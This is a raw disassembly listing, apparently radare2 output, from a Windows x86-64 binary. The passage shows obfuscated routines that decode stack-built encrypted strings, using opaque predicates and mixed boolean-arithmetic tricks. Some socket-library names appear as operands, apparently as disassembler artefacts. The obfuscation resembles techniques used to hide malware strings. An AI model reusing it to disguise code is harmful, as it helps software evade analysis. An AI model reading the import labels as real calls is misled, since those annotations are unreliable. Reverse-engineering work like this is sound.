jmp 0x140084813
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
jmp 0x1400852f9
lea ecx, [r10 + 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xf
jmp 0x1400852ca
movzx r11d, r10b
lea ecx, [r11 - 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x53
jmp 0x14008528f
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xb
dec r10
inc r10
jmp 0x140084813
movzx r11d, r10b
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
jmp 0x140085227
movzx r11d, r10b
lea ecx, [r11 - 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7d
add r11b, 0x71
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x17
add r11b, r9b
mov byte [rbp + r10 + 0x3b0], r11b
inc r8
dec r10
inc r10
jmp 0x140084813
lea ecx, [r10 + 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3f
dec r10
inc r10
jmp 0x140084813
movzx r11d, r10b
lea ecx, [r11 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x63
add r11b, 0x3f
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x47
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x3b0], r11b
add rbx, r8
jmp 0x1400852ca
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x59
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140084813
lea rax, [r10 + r12]
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x49
lea edx, [r10 + 0xd]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x5b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x3b0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x74]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x2c
add r9b, cl
mov byte [rbp + r10 + 0x3b0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x3b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084813
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x73
movzx eax, byte [rbp + r10 + 0x3b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084813
sub r10b, 0x7d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x6b
jmp 0x140084810
sub r10b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0xd
jmp 0x140084800
lea rcx, [rbp + 0x15a8ce4]
jmp 0x1400853e7
lea rcx, [rbp + 0x174c04b]
jmp 0x1400853e7
lea rcx, [rbp + 0x3b0]
lea rdx, [0x1401db6cc]
call fcn.14003a4c0
mov byte [rbp + 0x600], 0x41
mov byte [rbp + 0x601], 0xbf
mov byte [rbp + 0x602], 0xab
mov byte [rbp + 0x603], 0xa5
mov byte [rbp + 0x604], 0xbc
mov byte [rbp + 0x605], 0xa4
mov byte [rbp + 0x606], 0x76
mov byte [rbp + 0x607], 0x5f
mov byte [rbp + 0x608], 0xb9
mov byte [rbp + 0x609], 0xb4
mov byte [rbp + 0x60a], 0xbe
mov byte [rbp + 0x60b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x60c], 0x5f
mov byte [rbp + 0x60d], 0xb8
mov byte [rbp + 0x60e], 0xa0
mov byte [rbp + 0x60f], 0xb0
mov byte [rbp + 0x610], 0xa8
mov byte [rbp + 0x611], 0xb0
mov byte [rbp + 0x612], 0x1a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x613], xmm0
mov dword [rbp + 0x623], eax
mov word [rbp + 0x627], ax
movabs r14, 0x501f004953944daa
movabs r12, 0x30d90201490e1fa6
movabs r13, 0x909b016ea1e58452
movabs r15, 0xf05d00dbfabce8fe
movzx edi, byte [rsp + 0x50]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x29
jae 0x14008605a
movzx r9d, byte [rbp + r10 + 0x600]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140086051
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008551c
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x5a
jmp 0x140085556
je 0x140085fda
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140085f7d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140085f35
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140085f10
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140085ec6
cmp r8, r10
ja 0x140086048
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140085587
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400855c0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140085ea6
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140085e81
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140085e25
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140085e09
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140085b4f
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140085b2c
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140085b04
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140085adf
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140085abf
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140085aa0
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140085a81
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140085a65
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140085a46
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140085a15
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400855d0
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140086028
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14008600b
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400857be
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008579f
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140085784
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400859c8
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008597b
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140085937
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140085911
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400855d0
lea rbx, [r8 + 3]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400858e0
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400858c1
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400858a5
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140085889
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14008586a
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14008584a
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140085828
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140085800
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400857dd
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400855d0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 5]
jmp 0x1400855d0
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x1400855c0
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085556
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400854e6
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx r11d, r10b
jmp 0x140085ee0
lea edx, [r10 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x1400854d3
lea ecx, [r10 - 0x18]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x58
dec r10
inc r10
jmp 0x1400854d3
lea edx, [r10 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
movzx r11d, r10b
jmp 0x140085e40
lea edx, [r10 + 0x40]
movzx eax, r9b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140085e65
lea ecx, [r10 - 0x14]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x74
jmp 0x140085e68
lea edx, [r10 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
jmp 0x140085f50
lea edx, [r10 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140085f97
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x1400854d3
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
mov byte [rbp + r10 + 0x600], dil
inc r10
jmp 0x1400854d3
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
cmp r8, 0x200
jb 0x140085927
movzx r11d, r10b
lea edx, [r11 - 0x44]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x48]
jmp 0x140085ee0
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x20
jae 0x140085dce
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140085d25
lea edx, [r10 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
add dil, dl
jmp 0x14008594d
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x140085df0
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x140085c49
lea edx, [r10 - 0x7e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140085995
lea edx, [r10 - 0x54]
movzx eax, r9b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x1400854d3
lea edx, [r10 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140085f97
lea edx, [r10 + 4]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1c
jmp 0x140085f50
lea edx, [r10 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140085e68
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140085e65
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
jmp 0x140085e40
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x1400854d3
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x1400854d3
movzx r11d, r10b
lea edx, [r11 + 0xc]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x54
add dil, dl
jmp 0x140085ee0
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140085b77
lea edx, [r10 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400859de
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085bae
lea ecx, [r10 - 0x1c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3c
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x1400854d3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140085bd3
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140085f50
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140085bee
movzx r11d, r10b
lea edx, [r11 - 0x78]
mov ecx, 0x24
jmp 0x140085e32
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140085c19
lea ecx, [r10 - 0x24]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 4
dec r10
inc r10
jmp 0x1400854d3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400859de
movzx r11d, r10b
lea edx, [r11 - 0x7c]
movzx eax, r9b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140085ee0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085c75
movzx r11d, r10b
lea edx, [r11 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140085ee0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140085ca0
lea ecx, [r10 + 0x7e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x72
dec r10
inc r10
jmp 0x1400854d3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140085cc5
lea ecx, [r10 + 0x7a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x56
jmp 0x140085e68
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140085cea
lea edx, [r10 - 0x32]
movzx eax, r9b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140085f50
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140085995
lea ecx, [r10 + 0x76]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3a
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x1400854d3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085d5c
lea ecx, [r10 - 0x38]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x1400854d3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140085d84
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140085f97
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140085d9f
movzx r11d, r10b
lea edx, [r11 + 0x6c]
mov ecx, 6
jmp 0x140085e32
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008594d
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
dec r10
inc r10
jmp 0x1400854d3
movzx r11d, r10b
lea edx, [r11 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x600]
sub dil, al
sub dil, 0x70
jmp 0x140085e3d
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140085f50
lea edx, [r10 + 0x3e]
movzx eax, r9b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140085f50
movzx r11d, r10b
lea edx, [r11 + 0x42]
mov ecx, 0x19
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r11b, 0x46
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x16
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x600], r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400854d3
lea edx, [r10 - 0x12]
movzx eax, r9b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x1400854d3
movzx r11d, r10b
lea edx, [r11 + 0x46]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140085ee0
movzx r11d, r10b
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
add r11b, 0x66
movzx eax, r11b
and al, r9b
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x600], cl
inc r8
dec r10
inc r10
jmp 0x1400854d3
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400854d3
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x62
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x600], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140085f97
lea rcx, [r10 + r13]
movzx r9d, r11b
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 8
add cl, r9b
mov byte [rbp + r10 + 0x600], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x1400854d3
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 7
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x600]
add rax, r8
add r10, rax
inc r10
jmp 0x1400854d3
add r10b, 0x52
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3e
jmp 0x1400854d0
sub r10b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400854c0
lea rcx, [rbp + 0x1643438]
jmp 0x140086061
lea rcx, [rbp + 0x13881e2]
jmp 0x140086061
lea rcx, [rbp + 0x600]
lea rdx, [0x1401dd72f]
call fcn.14003a4c0
mov byte [rbp + 0x150], 9
mov byte [rbp + 0x151], 0x5f
mov byte [rbp + 0x152], reloc.WS2_32.dll_send
mov byte [rbp + reloc.WS2_32.dll_setsockopt3], 0x15
mov byte [rbp + 0x154], 0x1c
mov byte [rbp + 0x155], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x156], 0xd6
mov byte [rbp + 0x157], 7
mov byte [rbp + 0x158], 0x18
mov byte [rbp + 0x159], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x15a], WSACleanup
mov byte [rbp + 0x15b], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x15c], WSASetLastError
mov byte [rbp + 0x15d], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x15e], reloc.WS2_32.dll_send
mov byte [rbp + 0x15f], 0xff
xor eax, eax
mov dword [rbp + 0x160], eax
mov word [rbp + 0x164], ax
movabs rsi, 0xc383da02ef34c90e
movabs r15, 0xdcd5c2e3e1b0881e
movabs r12, 0x9d8543b2bd3b8d2
movabs r14, 0x968148aba511985a
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r9, qword [rax]
xor r10d, r10d
cmp r10, 0x16
jae 0x140086909
movzx r8d, byte [rbp + r10 + 0x150]
mov r11d, r8d
nop dword [rax]
cmp rbx, r10
ja 0x140086900
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14008617c
lea rcx, [r10 + r15]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x2e
jmp 0x1400861b6
je 0x14008688f
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140086802
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1400867d2
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1400867b7
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140086772
cmp r9, r10
ja 0x1400868f7
lea rax, [r9 + 0x5a]
cmp rbx, rax
jae 0x1400861e0
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3a
jmp 0x140086220
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140086727
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140086706
lea rax, [r9 + 7]
cmp rbx, rax
je 0x1400866e7
lea rax, [r9 + 6]
cmp rbx, rax
je 0x1400866b6
nop dword [rax]
nop dword [rax + rax]
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x1400864aa
nop dword [rax]
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14008648b
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140086463
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140086441
lea rax, [r9 + 0x42]
cmp rbx, rax
je 0x140086414
mov rbx, rax
lea r9, [rax + 0x42]
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1400868da
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1400868bd
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140086368
lea rax, [r9 + 0x28]
cmp rbx, rax
jb 0x14008633e
mov rbx, rax
lea r9, [rax + 0x28]
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14008630d
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1400862f2
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1400862e0
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140086230
mov rbx, rax
lea r9, [rax + 0x10]
jmp 0x140086230
lea edx, [r10 - 4]
mov ecx, recvfrom
movzx r11d, r10b
jmp 0x14008677f
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140086848
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r8b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140086133
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r10 + 0x150], dil
inc r10
jmp 0x140086133
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r8b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [rbx + r9]
cmp rax, 0x1000
je 0x14008669d
lea rax, [r9 + 0x1000]
cmp rbx, rax
jbe 0x140086550
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xa
cmp rbx, 2
jae 0x140086677
lea rax, [r9 + 0x3e8]
cmp rbx, rax
jbe 0x14008659d
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
cmp r9, 0x2a
jb 0x140086358
movzx r11d, r10b
lea ecx, [r11 - 0xc]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 0x58]
jmp 0x140086745
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5c
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140086133
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r8b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r9
jmp 0x1400867e9
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
inc r9
dec r10
inc r10
jmp 0x140086133
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
movzx r11d, r10b
jmp 0x140086745
lea rax, [r9 + 0x7a]
cmp rbx, rax
jae 0x1400864c7
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
jmp 0x140086377
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1400864fd
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x74
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140086133
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140086525
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r8b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14008681c
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140086382
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
add rbx, r9
jmp 0x1400867e9
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14008656b
movzx r11d, r10b
lea edx, [r11 + 0x62]
mov ecx, 0x29
jmp 0x140086734
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400863b8
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r8b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
dec r10
inc r10
jmp 0x140086133
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1400865d7
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r8b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140086133
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1400865fb
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14008681c
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140086623
lea edx, [r10 - 0x74]
